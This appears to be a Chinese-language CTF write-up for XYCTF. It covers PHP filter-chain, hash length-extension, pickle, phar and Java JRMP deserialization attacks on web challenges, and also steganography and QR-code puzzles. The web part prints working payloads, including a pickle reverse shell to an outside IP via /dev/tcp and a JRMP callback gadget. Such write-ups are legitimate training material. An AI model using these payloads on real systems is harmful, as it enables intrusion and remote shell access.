base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

image-20250801095105857

连连看到底是连连什么看

点击about发现文件包含readme.txt

包含index.php

image-20250801095923410

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
echo file_get_contents('/flag');
}

考察php_filter_chain

image-20250801100211586

给了环境本地测试发现存在脏数据

加string.strip_tags过滤器来去除php标签

构造XYCTF<?php

image-20250801101703761

payload:

1
?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

give me flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
highlight_file(__FILE__);
die($FLAG_md5);
}

$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();

if(md5($FLAG.$value.$time)===$md5)
{
echo "yes, give you flag: ";
echo $FLAG;
}

代码逻辑

  • 程序检查md5value参数是否存在
  • 计算md5($FLAG . $value . $time)并与传入的$md5比较
  • 若相等则输出Flag

项目

https://github.com/shellfeel/hash-ext-attack

将时间戳提前,然后写脚本一直请求

根据平台特性是动态flag 位数是固定的43位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

# 请输入已知明文:
# 请输入已知hash: 951ca34949ebdcd221729f2382cbe4ad
# 请输入扩展字符: 1754016010
# 请输入密钥长度:43
# 2025-08-01 10:39:23.504 | INFO | common.HashExtAttack:run:65 - 已知明文:b''
# 2025-08-01 10:39:23.504 | INFO | common.HashExtAttack:run:66 - 已知hash:b'951ca34949ebdcd221729f2382cbe4ad'
# 2025-08-01 10:39:23.504 | INFO | common.HashExtAttack:run:68 - 新明文:b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x01\x00\x00\x00\x00\x00\x001754016010'
# 2025-08-01 10:39:23.504 | INFO | common.HashExtAttack:run:69 - 新明文(url编码):%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%001754016010
# 2025-08-01 10:39:23.504 | INFO | common.HashExtAttack:run:71 - 新hash:6a1dd8a8218c78d9026afb125c993a70

url = 'http://gz.imxbt.cn:20304/?md5=6a1dd8a8218c78d9026afb125c993a70&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00'

while True:

res = requests.get(url=url)

if "XYCTF" in res.text:
print(res.text)

break

login

框架为flask

image-20250801104712923

先在/register.php注册

cookie解码

image-20250801104908403

base64解码

image-20250801104951253

看到app猜测是pickle(反)序列化

image-20250801105326856

1
2
3
4
5
6
7
import pickle
import base64
import pickletools

cookie = "gASVNgAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwFYWRtaW6UjANwd2SUjAVhZG1pbpR1Yi4="
data = base64.b64decode(cookie)
print(pickletools.dis(data))

确实为pickle(反)序列化

fuzz发现过滤了R,r字符

⽤o字节码绕过过滤

1
2
3
4
5
6
7
8
9
(
ctimeit.timeit, # 导入 ctimeit 模块的 timeit 函数
(
math.cos, # 导入 math 模块的 cos 函数
os.system, # 导入 os 模块的 system 函数
shell, # 要执行的 shell 命令
(os.system, (shell,)) # 调用 system(shell)
)
)
1
2
3
4
5
6
7
8
9
10
11
12
import base64

shell = b'''bash -c "bash -i >& /dev/tcp/8.8.8.8/39010 0<&1"''' # 反弹shell语句

payload = b'''(ctimeit
timeit
(cos
system
V''' + shell + b'''
oo.'''

print(base64.b64encode(payload).decode())

image-20250801105951774

参考:

https://xz.aliyun.com/news/11253

pharme

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}

if(isset($_POST['file']))
{
if(preg_match('/^phar:\/\//i',$_POST['file']))
{
die("nonono");
}
file_get_contents($_POST['file']);
}


preg_replace(‘/;+/‘,’ch3nx1’,preg_replace(‘/[A-Za-z_]+/‘,’’,$this->cmd)))这段正则是将输入中的字母、下划线和括号都移除,并将连续的分号替换为字符串 ‘ch3nx1’ ,最后与’ch3nx1’比较判真

其实就是个白名单,只能含有字母A-Z,a-z,下划线_和左右括号(),其实也就是无参RCE
此外,eval中的字符串是拼接的,且不能用#和//进行注释,则要用__halt_compiler来终止编译

生成phar包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class evil{
public $cmd;
public $a;
}
@unlink('poc.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //写入stub
$o=new evil();
$o -> cmd='print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();

?>

文件上传存在典型检测 __HALT_COMPILER被过滤了 将生成的Phar文件进行gzip压缩绕过即可 gzip压缩后,修改后缀为jpg /png

在 PHP 中,__halt_compiler() 是一个特殊的语言结构,用于在脚本中立即停止编译器的解析。这意味着,该函数之后的任何 PHP 代码都不会被编译器解析为 PHP 代码,但这些数据依然可以作为文件的一部分存在,可以通过 PHP 的 I/O 函数访问。

使用场景和目的:

  • 数据存储:__halt_compiler() 常见于将数据直接嵌入到 PHP 脚本文件中的情况。这使得可以在一个文件中同时包含执行代码和非执行数据,如安装脚本、自解压脚本等。
  • 混合内容:可以在 PHP 文件中混合使用 PHP 代码和任意其他数据,不需要担心编译器会尝试解析那些非 PHP 数据。
  • 创建 PHAR 文件:PHAR (PHP Archive) 文件格式广泛使用 __halt_compiler() 来分隔 PHAR 元数据和包含的文件数据。

再过掉phar://开头的正则

1
file=php://filter/convert.base64-encode/resource=phar:///tmp/23f1a0f70f076b42b5b49f24ee28f696.png

image-20250801174538409

baby_unserialize

考点:Java反序列化+Jrmp绕过黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;

public class JRMP {
public static void main(String[] args) throws Exception {
ObjID id = new ObjID();
TCPEndpoint te = new TCPEndpoint("124.222.136.33", 1338);
LiveRef liveRef = new LiveRef(id, te, false);
UnicastRef ref = new UnicastRef(liveRef);
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

byte[] byteArray = barr.toByteArray();

String res = Base64.getEncoder().encodeToString(byteArray);
System.out.println(res);
}
}

MISC

真>签到

image-20250729173658083

010查看拿到flag

EZ_Base1024*2

1
מಥൎࢺଳɫअΥٻଯԢڥիɺ୦ࢸЭਘמۊիɎඥࡆڣߣಷܤҾয౽5

https://nerdmosis.com/tools/encode-and-decode-base2048

base2048解密

熊博士

小字条内容

1
CBXGU{ORF_BV_NVR_BLF_CRZL_QQ}

Atbash Cipher

image-20250730115732470

或者使用随波逐流一键梭哈

game

adwa最近迷恋上了一款游戏,他给我们发了这款游戏里的一个解密项目,请你根据这张图片,找出这个游戏的英文名

game

社工

image-20250731135839904

image-20250731140036999XYCTF{Papers, Please}

zzl的护理小课堂

image-20250731134307199

理应为100分可以得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

document.getElementById('quizForm').addEventListener('submit', function(event) {
event.preventDefault();

var formData = new FormData(this);

var xhr = new XMLHttpRequest();
xhr.open('POST', 'getScore.php', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var score = xhr.responseText;
if (score == 100) {
document.getElementById('scoreDisplay').innerText = "你的分数是: " + score + "/100 杂鱼,怎么才100分啊";
} else if (score < 100) {
document.getElementById('scoreDisplay').innerText = "你的分数是: " + score + "/100 noooooob!!";
} else {
var flagXhr = new XMLHttpRequest();
flagXhr.open('GET', 'flag.php', true);
flagXhr.onreadystatechange = function() {
if (flagXhr.readyState === 4 && flagXhr.status === 200) {
var flag = flagXhr.responseText;
document.getElementById('scoreDisplay').innerText = "Flag: " + flag;
}
};
flagXhr.send(); // 发送请求获取 flag
}
}
};
xhr.send(formData); // 发送请求获取分数
});

当分数大于100时返回flag

访问/flag.php

控制台输入

1
2
3
4
5
6
7
8
9
var flagXhr = new XMLHttpRequest(); 
flagXhr.open('GET', 'flag.php', true);
flagXhr.onreadystatechange = function() {
if (flagXhr.readyState === 4 && flagXhr.status === 200) {
var flag = flagXhr.responseText;
console.log(flag);
}
};
flagXhr.send(); // 发送请求获取 flag

使其直接console.log(flag)而非根据scoreDisplay来判断是否输出flag

出题有点烦

image-20250731140253021

解压得到5张图片

1.jpeg补全文件头后

image-20250731140620796

得到假flag

2.png为jpeg 补全文件头

3.png为jpeg 补全文件头

5.pngbinwalk提到一个加密的zip

image-20250731141335546

由文件名猜测密码为xyctf

解压得到flag

ez_隐写

下载的zip进行伪加密修复

得到一张图片和压缩包

hint.png修复宽高得到提示

image-20250801175127139

密码为20240401

解压压缩包得到一张图片

文件名为WATERMARK 是一个盲水印工具名称

image-20250801175745345

ZIP神之套

image-20250801175949187

exe拖进cmd执行

image-20250801180048505

压缩包掩码攻击

image-20250801180141010

套娃

image-20250801180325761

二者文件内容文件名都一样,直接明文攻击,使用工具为 ARCHPR

image-20250801180829709

image-20250801180856521

美妙的歌声

audacity打开

查看频谱图向下拉长

image-20250801181136672

得到可:XYCTF_1s_w3ll

deepsound解密得flag

image-20250801181641709

Ez_osint

https://www.hi2future.com/

爱情

https://www.hi2future.com/Mail/showitem/id/494468?from=showlist2

image-20250801183151197

网络追踪

名为JFTQ的黑客使用某种不为人知的手段渗透进了一个不太安全的系统里 聪明的ctfer 你知道他是怎么做到的吗

正则搜flag

image-20250801184959423

1
hK3Z1J2NvNa3fNJxaP43bTEfbb7zafODbacFaP43bte0wtPmDvvmOK3Z1J2NvhuNqqtdmuOL1Zb91ZbM-TPapVQCO7eyODXyK5iiSOVCaRhiOQiiKwUCOIjiSOhVCSffyKDcmXbZ95Zd8TZW91Zg6zaXd9ZW7QUt9WhuNSottGcLyWzayWVXCWzhbiOCdGZTu6urtMyKuNqqtdmuQqVZP4nYjPzbZ8XbacHaj6zah7vbacF1JYLbhj7PZXvRx0iGyWyywaZVNEpF4Sn2iAGsl9X3TC1UsLnUsLnVTEpN39H6kA1Yh3An2kAro+

编码为XXencode,解码得到

XYCTF{fake_flag}

1
2
3
真正的flag格式:
XYCTF{靶机ip地址_nmap扫描出的靶机开放的端口(由大到小排列 中间用_进行连接)_获取靶机shell使用的漏洞的CVE编号}
例:XYCTF{1.1.1.1_888_88_8_CVE-2009-3103}

回[SYN,ACK]的那三个TCP流量所展示的端口就是开放端口 135,139,445 然后因为是受害者回应攻击者,所以靶机IP为回应IP,即 192.168.204.133

https://www.exploit-db.com/exploits/7104

XYCTF{192.168.204.133_445_139_135_CVE-2008-4250}

我的二维码为啥扫不出来?

image-20250801190340286

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from PIL import Image
import random


def reverse_color(x):
return 0 if x == 255 else 255


def reverse_row_colors(pixels, row, width, block_size=10):
for x_block in range(width // block_size):
x = x_block * block_size
y = row * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)


def reverse_col_colors(pixels, col, height, block_size=10):
for y_block in range(height // block_size):
x = col * block_size
y = y_block * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)


original_img = Image.open("flag.png")

new_img = original_img.copy()

width, height = new_img.size
pixels = new_img.load()

count = 0

while count < 7:
x = random.randint(0, 1)
if x == 0:
reverse_col_colors(pixels, random.randint(0, height // 10 - 1), height)
else:
reverse_row_colors(pixels, random.randint(0, width // 10 - 1), width)
count += 1

new_img.save("new.png")

分析代码,发现是对flag.png进行了7次操作,每次抽取随机一行或列,将像素颜色反转(每十个像素一行/列)。观察图片发现第二行,第一列,第三列,第六列明显进行了反转操作,编写代码将其颜色反转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from PIL import Image
import random


def reverse_color(x):
return 0 if x == 255 else 255


def reverse_row_colors(pixels, row, width, block_size=10):
for x_block in range(width // block_size):
x = x_block * block_size
y = row * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)


def reverse_col_colors(pixels, col, height, block_size=10):
for y_block in range(height // block_size):
x = col * block_size
y = y_block * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)


original_img = Image.open("new.png")

new_img = original_img.copy()

width, height = new_img.size
pixels = new_img.load()
reverse_row_colors(pixels, 1, height)
reverse_col_colors(pixels, 0, height)
reverse_col_colors(pixels, 2, height)
reverse_col_colors(pixels, 5, height)

'''
count = 0
while count < 7:
x = random.randint(0, 1)
if x == 0:
reverse_col_colors(pixels, random.randint(0, height // 10 - 1), height)
else:
reverse_row_colors(pixels, random.randint(0, width // 10 - 1), width)
count += 1
'''
new_img.save("neww.png")

image-20250801191457372

在正常的二维码中,我画出的这一列和这一行是一黑一白交替的像素,而我们上述图明显不是如此,所 以我们要按照一黑一白的原理来进行修复

手动修复

1
2
3
reverse_row_colors(pixels, 12, height)
reverse_col_colors(pixels, 10, height)
reverse_col_colors(pixels, 11, height)

爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from PIL import Image
from pyzbar.pyzbar import decode
import random


def reverse_color(x):
return 0 if x == 255 else 255


def reverse_row_colors(pixels, row, width, block_size=10):
for x_block in range(width // block_size):
x = x_block * block_size
y = row * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)


def reverse_col_colors(pixels, col, height, block_size=10):
for y_block in range(height // block_size):
x = col * block_size
y = y_block * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)


def decode_qr_code(image_path):
image = Image.open(image_path)
decoded_objects = decode(image)
if decoded_objects:
return decoded_objects[0].data.decode('utf-8')
else:
return None


original_img = Image.open("neww.png")
width, height = original_img.size
pixels = original_img.load()

count = 0

while True:
modified_img = original_img.copy()
pixels_modified = modified_img.load()

for _ in range(3):
x = random.randint(0, 1)
if x == 0:
reverse_col_colors(pixels_modified, random.randint(0, height // 10 - 1), height)
else:
reverse_row_colors(pixels_modified, random.randint(0, width // 10 - 1), width)

modified_img.save("modified.png")

result = decode_qr_code("modified.png")
if result:
print("Found QR code in modified.png:", result)
break

count += 1
if count % 100 == 0:
print("Tried", count, "modifications, no QR code found yet.")

image-20250801191727493

彩蛋?

复现无当时环境

参考常乐村驾校战队的WP

image-20250801191849711

image-20250801191910088

image-20250801191921286

TCPL

image-20250801192208341

直接运行报错

image-20250801192235426

010查看发现是/lib/ld-linux-riscv64-lp64d.so.1

https://blog.csdn.net/yueyuanhuaqing/article/details/123993462

image-20250801192528621

FLAG{PLCT_An4_r0SCv_x0huann0}

以下未复现:

image-20250801192811515